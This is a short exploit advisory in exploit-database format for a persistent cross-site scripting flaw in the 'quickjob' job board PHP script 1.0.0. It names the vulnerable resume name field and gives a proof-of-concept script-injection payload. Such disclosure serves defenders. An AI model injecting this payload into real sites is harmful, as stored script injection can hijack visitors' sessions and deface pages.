# Exploit Title: quickjob job board php script 1.0.0 - Persistent Cross-Site Scripting # Date: 2019.12.09 # Exploit Author: Muslum Dag - MitriL # Vendor Homepage: https://bylancer.com/products/demo/jobboard/ # Version: 1.0.0 # Tested on: Kali linux # CVE : N/A Examples page : -- http://localhost.com/my-resumes -- - ADD NEW RESUMES -- <input type="text" class="with-border" id="name" name="name" value=""> -- Payload is entered in the name field -- saving and running Payload : -- "><script>alert('XSS')</script> --